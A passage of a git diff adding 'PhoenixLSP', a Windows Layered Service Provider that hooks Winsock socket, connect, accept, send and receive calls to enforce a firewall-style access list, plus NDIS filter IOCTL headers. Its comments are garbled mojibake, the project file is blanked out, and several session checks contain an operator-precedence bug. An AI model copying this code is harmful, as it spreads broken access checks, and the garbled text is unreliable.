*buf, DWORD dwTransed) +{ + int nIndex; + if(nIndex = FindSession(s) >= m_nSessionCount) + return PF_PASS; + + + return GetAccessInfo(&m_pSession[nIndex]); +} + int CheckSend(SOCKET s, const char *buf, DWORD dwTransed); + int CheckRecv(SOCKET s, const char *buf, DWORD dwTransed); +int CAcl::CheckRecv(SOCKET s, const char *buf, DWORD dwTransed) +{ + int nIndex; + if(nIndex = FindSession(s) >= m_nSessionCount) + return PF_PASS; + + return GetAccessInfo(&m_pSession[nIndex]); +} + + +BOOL CAcl::IsLocalIP(DWORD dwIP) +{ + if(dwIP == 0 || ((BYTE*)&dwIP)[3] == 127) + return TRUE; + return FALSE; +} + + // ±£³ÖÏß³Ìͬ²½£¬Ê×Ïȼì²éÓÐûÓÐÆäËüÏß³ÌÕýÔÚ·¢ËÍÕâ¸öѯÎÊ + for(int i=0; i 3000) // µÈ5·ÖÖÓ£¬Èç¹ûÓû§»¹²»¾ö¶¨£¬¾Í½ûÖ¹ + return FALSE; + ::Sleep(100); + } + + if(g_QuerySession[i].nReturnValue == 0) + return FALSE; + return TRUE; + } + } + */ diff --git a/Project/Network and Communication/Phoenix/user/PhoenixLSP/Acl.h b/Project/Network and Communication/Phoenix/user/PhoenixLSP/Acl.h new file mode 100644 index 0000000..5384044 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixLSP/Acl.h @@ -0,0 +1,69 @@ +/////////////////////////////////////////////// +// Acl.hÎļþ + + + + + +#include "../common/PMacRes.h" + +#include "../common/TypeStruct.h" + + + +// Ϊÿ¸öÌ×½Ú×Ö´´½¨Ò»¸öSession check access list CPCheckAccess + +class CAcl +{ +public: + CAcl(); + ~CAcl(); + + // Ì×½Ú×ֵĴ´½¨Óë¹Ø±Õ£¬¶ÔÓ¦×ÅSessionµÄ´´½¨Óë¹Ø±Õ + void CheckSocket(SOCKET s, int af, int type, int protocol); + void CheckCloseSocket(SOCKET s); + void CheckBind(SOCKET s, const struct sockaddr *addr); + + // ²é¿´»á»°ÊÇ·ñÔÊÐí£¨»á»°µÄÔ¶³Ì·þÎñÐÅÏ¢£© + int CheckAccept(SOCKET s, SOCKET sNew, sockaddr FAR *addr); + int CheckConnect(SOCKET s, const struct sockaddr FAR *addr); + + int CheckSendTo(SOCKET s, const SOCKADDR *pTo); + int CheckRecvFrom(SOCKET s, SOCKADDR *pFrom); + +private: + // ÉèÖûỰµÄÊôÐÔ + void SetSession(SESSION *pSession, + USHORT usRemotePort, ULONG ulRemoteIP, UCHAR ucDirection); + // ÏòÓ¦ÓóÌÐò֪ͨһ¸ö»á»° + void NotifySession(SESSION *pSession, int nCode); + + int GetAccessInfo(SESSION *pSession); + int GetAccessFromWorkMode(SESSION *pSession); + + + // ÔÚ¹æÔòÎļþÖвéÕÒÖ¸¶¨³ÌÐòµÄ¹ýÂ˹æÔò + int FindRule(TCHAR *szAppName, int nStart); + + + // ·µ»ØË÷Òý + int CreateSession(SOCKET s, int nProtocol); + + void DeleteSession(SOCKET s); + + void InitializeSession(SESSION *pSession); + + int FindSession(SOCKET s); + + + + + + + SESSION *m_pSession; + int m_nSessionCount; + int m_nSessionMaxCount; + + static BOOL QueryAccess(); + static BOOL IsLocalIP(DWORD dwIP); +}; \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.cpp b/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.cpp new file mode 100644 index 0000000..b852c25 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.cpp @@ -0,0 +1,530 @@ +// PhoenixLSP.cpp : Defines the entry point for the DLL application. +// + +// ÉùÃ÷ҪʹÓÃUNICODE×Ö·û´® +#define UNICODE +#define _UNICODE + +#include +#include +#include +#include +#include +#include + +#include "PhoenixLSP.h" + +#include "../common/Debug.h" +#include "../common/PMacRes.h" +#include "Acl.h" + +#pragma comment(lib, "Ws2_32.lib") + + +CAcl g_Acl; // ·ÃÎÊÁÐ±í£¬ÓÃÀ´¼ì²é»á»°µÄ·ÃÎÊȨÏÞ + +WSPUPCALLTABLE g_pUpCallTable; // Éϲ㺯ÊýÁÐ±í¡£Èç¹ûLSP´´½¨ÁË×Ô¼ºµÄα¾ä±ú£¬²ÅʹÓÃÕâ¸öº¯ÊýÁбí +WSPPROC_TABLE g_NextProcTable; // ϲ㺯ÊýÁбí +TCHAR g_szCurrentApp[MAX_PATH]; // µ±Ç°µ÷Óñ¾DLLµÄ³ÌÐòµÄÃû³Æ + + +BOOL APIENTRY DllMain( HANDLE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + { + // È¡µÃÖ÷Ä£¿éµÄÃû³Æ + ::GetModuleFileName(NULL, g_szCurrentApp, MAX_PATH); + } + break; + } + return TRUE; +} + +int WSPAPI WSPStartup( + WORD wVersionRequested, + LPWSPDATA lpWSPData, + LPWSAPROTOCOL_INFO lpProtocolInfo, + WSPUPCALLTABLE UpcallTable, + LPWSPPROC_TABLE lpProcTable +) +{ + ODS1(L" WSPStartup... %s \n", g_szCurrentApp); + + if(lpProtocolInfo->ProtocolChain.ChainLen <= 1) + { + return WSAEPROVIDERFAILEDINIT; + } + + // ±£´æÏòÉϵ÷Óõĺ¯Êý±íÖ¸Õ루ÕâÀïÎÒÃDz»Ê¹ÓÃËü£© + g_pUpCallTable = UpcallTable; + + // ö¾ÙЭÒ飬ÕÒµ½Ï²ãЭÒéµÄWSAPROTOCOL_INFOW½á¹¹ + WSAPROTOCOL_INFOW NextProtocolInfo; + int nTotalProtos; + LPWSAPROTOCOL_INFOW pProtoInfo = GetProvider(&nTotalProtos); + // ϲãÈë¿ÚID + DWORD dwBaseEntryId = lpProtocolInfo->ProtocolChain.ChainEntries[1]; + int i=0; + for(i; i= nTotalProtos) + { + ODS(L" WSPStartup: Can not find underlying protocol \n"); + return WSAEPROVIDERFAILEDINIT; + } + + // ¼ÓÔØϲãЭÒéµÄDLL + int nError; + TCHAR szBaseProviderDll[MAX_PATH]; + int nLen = MAX_PATH; + // È¡µÃϲãÌṩ³ÌÐòDLL·¾¶ + if(::WSCGetProviderPath(&NextProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR) + { + ODS1(L" WSPStartup: WSCGetProviderPath() failed %d \n", nError); + return WSAEPROVIDERFAILEDINIT; + } + if(!::ExpandEnvironmentStrings(szBaseProviderDll, szBaseProviderDll, MAX_PATH)) + { + ODS1(L" WSPStartup: ExpandEnvironmentStrings() failed %d \n", ::GetLastError()); + return WSAEPROVIDERFAILEDINIT; + } + // ¼ÓÔØϲãÌṩ³ÌÐò + HMODULE hModule = ::LoadLibrary(szBaseProviderDll); + if(hModule == NULL) + { + ODS1(L" WSPStartup: LoadLibrary() failed %d \n", ::GetLastError()); + return WSAEPROVIDERFAILEDINIT; + } + + // µ¼ÈëϲãÌṩ³ÌÐòµÄWSPStartupº¯Êý + LPWSPSTARTUP pfnWSPStartup = NULL; + pfnWSPStartup = (LPWSPSTARTUP)::GetProcAddress(hModule, "WSPStartup"); + if(pfnWSPStartup == NULL) + { + ODS1(L" WSPStartup: GetProcAddress() failed %d \n", ::GetLastError()); + return WSAEPROVIDERFAILEDINIT; + } + + // µ÷ÓÃϲãÌṩ³ÌÐòµÄWSPStartupº¯Êý + LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo; + if(NextProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL) + pInfo = &NextProtocolInfo; + + int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable); + if(nRet != ERROR_SUCCESS) + { + ODS1(L" WSPStartup: underlying provider's WSPStartup() failed %d \n", nRet); + return nRet; + } + + // ±£´æϲãÌṩÕߵĺ¯Êý±í + g_NextProcTable = *lpProcTable; + + // ´«¸øÉϲ㣬½Ø»ñ¶ÔÒÔϺ¯ÊýµÄµ÷Óà + lpProcTable->lpWSPSocket = WSPSocket; + lpProcTable->lpWSPCloseSocket = WSPCloseSocket; + lpProcTable->lpWSPBind = WSPBind; + lpProcTable->lpWSPAccept = WSPAccept; + lpProcTable->lpWSPConnect = WSPConnect; + lpProcTable->lpWSPSendTo = WSPSendTo; + lpProcTable->lpWSPRecvFrom = WSPRecvFrom; + + FreeProvider(pProtoInfo); + return nRet; +} + + + +SOCKET WSPAPI WSPSocket( + int af, + int type, + int protocol, + LPWSAPROTOCOL_INFOW lpProtocolInfo, + GROUP g, + DWORD dwFlags, + LPINT lpErrno +) +{ + // Ê×Ïȵ÷ÓÃϲ㺯Êý´´½¨Ì×½Ú×Ö + SOCKET s = g_NextProcTable.lpWSPSocket(af, type, protocol, lpProtocolInfo, g, dwFlags, lpErrno); + if(s == INVALID_SOCKET) + return s; + + // µ÷ÓÃCAclÀàµÄCheckSocketº¯Êý£¬ÉèÖûỰÊôÐÔ + if (af == FROM_PROTOCOL_INFO) + af = lpProtocolInfo->iAddressFamily; + if (type == FROM_PROTOCOL_INFO) + type = lpProtocolInfo->iSocketType; + if (protocol == FROM_PROTOCOL_INFO) + protocol = lpProtocolInfo->iProtocol; + + g_Acl.CheckSocket(s, af, type, protocol); + + return s; +} + +int WSPAPI WSPCloseSocket( + SOCKET s, + LPINT lpErrno +) +{ + // µ÷ÓÃCAclÀàµÄCheckCloseSocketº¯Êý£¬É¾³ý¶ÔÓ¦µÄ»á»° + g_Acl.CheckCloseSocket(s); + return g_NextProcTable.lpWSPCloseSocket(s, lpErrno); +} + +int WSPAPI WSPBind(SOCKET s, const struct sockaddr* name, int namelen, LPINT lpErrno) +{ + // µ÷ÓÃCAclÀàµÄCheckBindº¯Êý£¬ÉèÖûỰÊôÐÔ + g_Acl.CheckBind(s, name); + return g_NextProcTable.lpWSPBind(s, name, namelen, lpErrno); +} + +int WSPAPI WSPConnect( + SOCKET s, + const struct sockaddr FAR * name, + int namelen, + LPWSABUF lpCallerData, + LPWSABUF lpCalleeData, + LPQOS lpSQOS, + LPQOS lpGQOS, + LPINT lpErrno +) +{ + ODS1(L" WSPConnect... %s", g_szCurrentApp); + + // ¼ì²éÊÇ·ñÔÊÐíÁ¬½Óµ½Ô¶³ÌÖ÷»ú + if(g_Acl.CheckConnect(s, name) != PF_PASS) + { + *lpErrno = WSAECONNREFUSED; + ODS1(L" WSPConnect deny a query %s \n", g_szCurrentApp); + return SOCKET_ERROR; + } + + return g_NextProcTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno); +} + +SOCKET WSPAPI WSPAccept( + SOCKET s, + struct sockaddr FAR *addr, + LPINT addrlen, + LPCONDITIONPROC lpfnCondition, + DWORD dwCallbackData, + LPINT lpErrno +) +{ + ODS1(L" PhoenixLSP: WSPAccept %s \n", g_szCurrentApp); + + // Ê×Ïȵ÷ÓÃϲ㺯Êý½ÓÊÕµ½À´µÄÁ¬½Ó + SOCKET sNew = g_NextProcTable.lpWSPAccept(s, addr, addrlen, lpfnCondition, dwCallbackData, lpErrno); + + // ¼ì²éÊÇ·ñÔÊÐí£¬Èç¹û²»ÔÊÐí£¬¹Ø±ÕнÓÊÕµÄÁ¬½Ó + if (sNew != INVALID_SOCKET && g_Acl.CheckAccept(s, sNew, addr) != PF_PASS) + { + int iError; + g_NextProcTable.lpWSPCloseSocket(sNew, &iError); + *lpErrno = WSAECONNREFUSED; + return SOCKET_ERROR; + } + + return sNew; +} + + +int WSPAPI WSPSendTo( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesSent, + DWORD dwFlags, + const struct sockaddr FAR * lpTo, + int iTolen, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +) +{ + ODS1(L" query send to... %s \n", g_szCurrentApp); + + // ¼ì²éÊÇ·ñÔÊÐí·¢ËÍÊý¾Ý + if (g_Acl.CheckSendTo(s, lpTo) != PF_PASS) + { + int iError; + g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError); + *lpErrno = WSAECONNABORTED; + + ODS1(L" WSPSendTo deny query %s \n", g_szCurrentApp); + + return SOCKET_ERROR; + } + + // µ÷ÓÃϲ㷢Ëͺ¯Êý + return g_NextProcTable.lpWSPSendTo(s, lpBuffers, dwBufferCount, + lpNumberOfBytesSent, dwFlags, lpTo, iTolen, + lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno); +} + +int WSPAPI WSPRecvFrom ( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesRecvd, + LPDWORD lpFlags, + struct sockaddr FAR * lpFrom, + LPINT lpFromlen, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +) +{ + ODS1(L" PhoenixLSP: WSPRecvFrom %s \n", g_szCurrentApp); + + // Ê×Ïȼì²éÊÇ·ñÔÊÐí½ÓÊÕÊý¾Ý + if(g_Acl.CheckRecvFrom(s, lpFrom) != PF_PASS) + { + int iError; + g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError); + *lpErrno = WSAECONNABORTED; + + ODS1(L" WSPRecvFrom deny query %s \n", g_szCurrentApp); + return SOCKET_ERROR; + } + + // µ÷ÓÃϲã½ÓÊÕº¯Êý + return g_NextProcTable.lpWSPRecvFrom(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd, + lpFlags, lpFrom, lpFromlen, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno); +} + + + +LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols) +{ + DWORD dwSize = 0; + int nError; + LPWSAPROTOCOL_INFOW pProtoInfo = NULL; + + // È¡µÃÐèÒªµÄ³¤¶È + if(::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR) + { + if(nError != WSAENOBUFS) + return NULL; + } + + pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize); + *lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError); + return pProtoInfo; +} + +void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo) +{ + ::GlobalFree(pProtoInfo); +} + +/* + +int WSPAPI WSPStartup( + WORD wVersionRequested, + LPWSPDATA lpWSPData, + LPWSAPROTOCOL_INFO lpProtocolInfo, + WSPUPCALLTABLE UpcallTable, + LPWSPPROC_TABLE lpProcTable +) +{ + ODS1(L" PhoenixLSP: WSPStartup %s \n", g_szCurrentApp); + + ODS1(L" %s", lpProtocolInfo->szProtocol); + + if(lpProtocolInfo->ProtocolChain.ChainLen <= 1) + { + ::OutputDebugString(L" Chain len <= 1 \n"); + return WSAEPROVIDERFAILEDINIT; + } + + g_pUpCallTable = UpcallTable; + int nTotalProtos; + LPWSAPROTOCOL_INFOW pProtoInfo = GetProvider(&nTotalProtos); + + + // ÕÒµ½Ï²ãЭÒé + WSAPROTOCOL_INFOW NextProtocolInfo; + // ϲãÈë¿ÚID + DWORD dwBaseEntryId = lpProtocolInfo->ProtocolChain.ChainEntries[1]; + for(int i=0; i= nTotalProtos) + { + ::OutputDebugString(L" Can not find next protocol <= 1 \n"); + return WSAEPROVIDERFAILEDINIT; + } + + // ¼ÓÔØϲãЭÒéµÄDLL + int nError; + TCHAR szBaseProviderDll[MAX_PATH]; + int nLen = MAX_PATH; + if(::WSCGetProviderPath(&NextProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR) + { + ::OutputDebugString(L" WSCGetProviderPath() failed \n"); + return WSAEPROVIDERFAILEDINIT; + } + if(!::ExpandEnvironmentStrings(szBaseProviderDll, szBaseProviderDll, MAX_PATH)) + { + ::OutputDebugString(L" ExpandEnvironmentStrings() failed \n"); + return WSAEPROVIDERFAILEDINIT; + } + HMODULE hModule = ::LoadLibrary(szBaseProviderDll); + if(hModule == NULL) + { + ::OutputDebugString(L" LoadLibrary() failed \n"); + return WSAEPROVIDERFAILEDINIT; + } + + // µ÷ÓÃϲãЭÒéµÄWSPStartupº¯Êý + LPWSPSTARTUP proWSPStartup = NULL; + proWSPStartup = (LPWSPSTARTUP)::GetProcAddress(hModule, "WSPStartup"); + if(proWSPStartup == NULL) + { + ::OutputDebugString(L" GetProcAddress() failed \n"); + return WSAEPROVIDERFAILEDINIT; + } + + LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo; + if(NextProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL) + pInfo = &NextProtocolInfo; + + int nRet = proWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable); + if(nRet != ERROR_SUCCESS) + { + ODS1(L" next layer's WSPStartup() failed %d \n ", nRet); + return nRet; + } + + // ±£´æϲãЭÒéµÄº¯Êý±í + g_NextProcTable = *lpProcTable; + + // ´«¸øÉϲã + lpProcTable->lpWSPSocket = WSPSocket; + lpProcTable->lpWSPCloseSocket = WSPCloseSocket; + + lpProcTable->lpWSPBind = WSPBind; + + // tcp + lpProcTable->lpWSPAccept = WSPAccept; + lpProcTable->lpWSPConnect = WSPConnect; + + // udp raw + lpProcTable->lpWSPSendTo = WSPSendTo; + lpProcTable->lpWSPRecvFrom = WSPRecvFrom; + + + + FreeProvider(pProtoInfo); + return nRet; +} + +*/ + + + + +//////////////////////////////////////////////////////////////////////////////// + +/* lpProcTable->lpWSPSend = WSPSend; + lpProcTable->lpWSPRecv = WSPRecv; +*/ +/* + + int WSPAPI WSPSend( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesSent, + DWORD dwFlags, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +) +{ +// ODS1(L" PhoenixLSP: WSPSend %s \n", g_szCurrentApp); + + // ?? ¶à¸öBufÈçºÎ´¦Àí + if (g_Acl.CheckSend(s, lpBuffers[0].buf, *lpNumberOfBytesSent) != PF_PASS) + { + int iError; + g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError); + *lpErrno = WSAECONNABORTED; + + ODS(L" deny a send "); + return SOCKET_ERROR; + } + + return g_NextProcTable.lpWSPSend(s, lpBuffers, dwBufferCount, + lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno); +} + +int WSPAPI WSPRecv( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesRecvd, + LPDWORD lpFlags, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +) +{ + ODS1(L" PhoenixLSP: WSPRecv %s \n", g_szCurrentApp); + + if(lpOverlapped != NULL) + { + if(g_Acl.CheckRecv(s, NULL, 0) != PF_PASS) + { + int iError; + g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError); + *lpErrno = WSAECONNABORTED; + + ODS(L"deny a recv"); + return SOCKET_ERROR; + } + ODS(L" overlappped "); + } + + int iRet = g_NextProcTable.lpWSPRecv(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped + , lpCompletionRoutine, lpThreadId, lpErrno); + + if(iRet != SOCKET_ERROR && lpOverlapped == NULL) + { + if(g_Acl.CheckRecv(s, lpBuffers[0].buf, *lpNumberOfBytesRecvd) != PF_PASS) + { + int iError; + g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError); + *lpErrno = WSAECONNABORTED; + + ODS(L"deny a recv"); + return SOCKET_ERROR; + } + } + return iRet; +} + + */ diff --git a/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.def b/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.def new file mode 100644 index 0000000..430603f --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.def @@ -0,0 +1,11 @@ + + +DESCRIPTION " Implements a layered service provider for TCP/IP" + +SECTIONS + .initdata READ WRITE SHARED + .uinitdata READ WRITE SHARED + +EXPORTS + WSPStartup + PLSPIoControl diff --git a/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.h b/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.h new file mode 100644 index 0000000..ffb82ab --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.h @@ -0,0 +1,73 @@ + + + + +SOCKET WSPAPI WSPSocket( + int af, + int type, + int protocol, + LPWSAPROTOCOL_INFOW lpProtocolInfo, + GROUP g, + DWORD dwFlags, + LPINT lpErrno +); + +int WSPAPI WSPCloseSocket( + SOCKET s, + LPINT lpErrno +); + +int WSPAPI WSPBind(SOCKET s, const struct sockaddr* name, int namelen, LPINT lpErrno); + + +int WSPAPI WSPConnect( + SOCKET s, + const struct sockaddr FAR * name, + int namelen, + LPWSABUF lpCallerData, + LPWSABUF lpCalleeData, + LPQOS lpSQOS, + LPQOS lpGQOS, + LPINT lpErrno +); + +SOCKET WSPAPI WSPAccept( + SOCKET s, + struct sockaddr FAR *addr, + LPINT addrlen, + LPCONDITIONPROC lpfnCondition, + DWORD dwCallbackData, + LPINT lpErrno +); + +int WSPAPI WSPSendTo( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesSent, + DWORD dwFlags, + const struct sockaddr FAR * lpTo, + int iTolen, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +); + +int WSPAPI WSPRecvFrom ( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesRecvd, + LPDWORD lpFlags, + struct sockaddr FAR * lpFrom, + LPINT lpFromlen, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +); + +LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols); + +void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo); \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.sln b/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.sln new file mode 100644 index 0000000..b186f0b --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 9.00 +# Visual Studio 2005 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PhoenixLSP", "PhoenixLSP.vcproj", "{7FC06AB5-315D-434D-B88D-7F597DA76B3B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {7FC06AB5-315D-434D-B88D-7F597DA76B3B}.Debug|Win32.ActiveCfg = Debug|Win32 + {7FC06AB5-315D-434D-B88D-7F597DA76B3B}.Debug|Win32.Build.0 = Debug|Win32 + {7FC06AB5-315D-434D-B88D-7F597DA76B3B}.Release|Win32.ActiveCfg = Release|Win32 + {7FC06AB5-315D-434D-B88D-7F597DA76B3B}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.suo b/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.suo new file mode 100644 index 0000000..a2be5e9 Binary files /dev/null and b/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.suo differ diff --git a/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.vcproj b/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.vcproj new file mode 100644 index 0000000..c70d75d --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixLSP/PhoenixLSP.vcproj @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Project/Network and Communication/Phoenix/user/PhoenixLSP/_desktop.ini b/Project/Network and Communication/Phoenix/user/PhoenixLSP/_desktop.ini new file mode 100644 index 0000000..18aa814 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixLSP/_desktop.ini @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/common/Debug.h b/Project/Network and Communication/Phoenix/user/common/Debug.h new file mode 100644 index 0000000..c62f888 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/common/Debug.h @@ -0,0 +1,31 @@ +//////////////////////////////////////////// +// Debug.hÎļþ + + + +#ifndef __DEBUG_H__ +#define __DEBUG_H__ + + +#ifdef _DEBUG + + #define ODS(szOut) \ + { \ + OutputDebugString(szOut); \ + } + + #define ODS1(szOut, var) \ + { \ + TCHAR sz[1024]; \ + _stprintf(sz, szOut, var); \ + OutputDebugString(sz); \ + } + +#else + + #define ODS(szOut) + #define ODS1(szOut, var) + +#endif // _DEBUG + +#endif // __DEBUG_H__ \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/common/IOCOMMON.H b/Project/Network and Communication/Phoenix/user/common/IOCOMMON.H new file mode 100644 index 0000000..2d6e289 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/common/IOCOMMON.H @@ -0,0 +1,98 @@ +////////////////////////////////////////////////////////////////// +// iocommon.hÎļþ + +#ifndef __IOCOMMON__H +#define __IOCOMMON__H + + +////////////////////////////////////////////////////////// +// ¶¨ÒåIOÊý¾ÝÀàÐÍ + + +typedef struct _PTUSERIO_OID_DATA +{ + ULONG Oid; + ULONG Length; + UCHAR Data[1]; +}PTUSERIO_OID_DATA, *PPTUSERIO_OID_DATA; + + +// ÍøÂç»î¶¯×´Ì¬ +typedef struct _PassthruStatistics +{ + ULONG nMPSendPktsCt; // ͨ¹ýMPSendPacketsµÄ·â°ü + ULONG nMPSendPktsDropped; // ÔÚMPSendPacketsÖжªÆúµÄ·â°ü + ULONG nPTRcvCt; // ͨ¹ýPTReceiveµÄ·â°ü + ULONG nPTRcvDropped; // ÔÚPTReceiveÖжªÆúµÄ·â°ü + ULONG nPTRcvPktCt; // ͨ¹ýPTReceivePacketµÄ·â°ü + ULONG nPTRcvPktDropped; // ÔÚPTReceivePacketÖжªÆúµÄ·â°ü +}PassthruStatistics, *PPassthruStatistics; + +// ¹ýÂ˹æÔò +typedef struct _PassthruFilter +{ + USHORT protocol; // ʹÓõÄЭÒé + + ULONG sourceIP; // Ô´IPµØÖ· + ULONG sourceMask; // Ô´µØÖ·ÆÁ±ÎÂë ÕâÀïʹÓÃÆÁ±ÎÂëÊÇΪÁËÄܹ»ÉèÖÃÒ»¸öIPµØÖ··¶Î§ + + ULONG destinationIP; // Ä¿µÄIPµØÖ· + ULONG destinationMask; // Ä¿µÄµØÖ·ÆÁ±ÎÂë + + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort; // Ä¿µÄ¶Ë¿ÚºÅ + + BOOLEAN bDrop; // ÊÇ·ñ¶ªÆú´Ë·â°ü + +}PassthruFilter, *PPassthruFilter; + + +//////////////////////////////////////////////////////////// +// ¶¨ÒåIO¿ØÖÆ´úÂë + +#define FSCTL_PTUSERIO_BASE FILE_DEVICE_NETWORK + +// ö¾Ù°ó¶¨µÄÊÊÅäÆ÷ +#define IOCTL_PTUSERIO_ENUMERATE \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x201, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// ´ò¿ªÒ»¸öÊÊÅäÆ÷ +#define IOCTL_PTUSERIO_OPEN_ADAPTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x202, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_PTUSERIO_SET_OID \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x203, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_PTUSERIO_QUERY_OID \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x204, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + + +// »ñÈ¡ÍøÂç»î¶¯×´Ì¬ +#define IOCTL_PTUSERIO_QUERY_STATISTICS \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x205, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// ÖØÉèÍøÂç»î¶¯×´Ì¬ +#define IOCTL_PTUSERIO_RESET_STATISTICS \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x206, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò +#define IOCTL_PTUSERIO_ADD_FILTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x207, 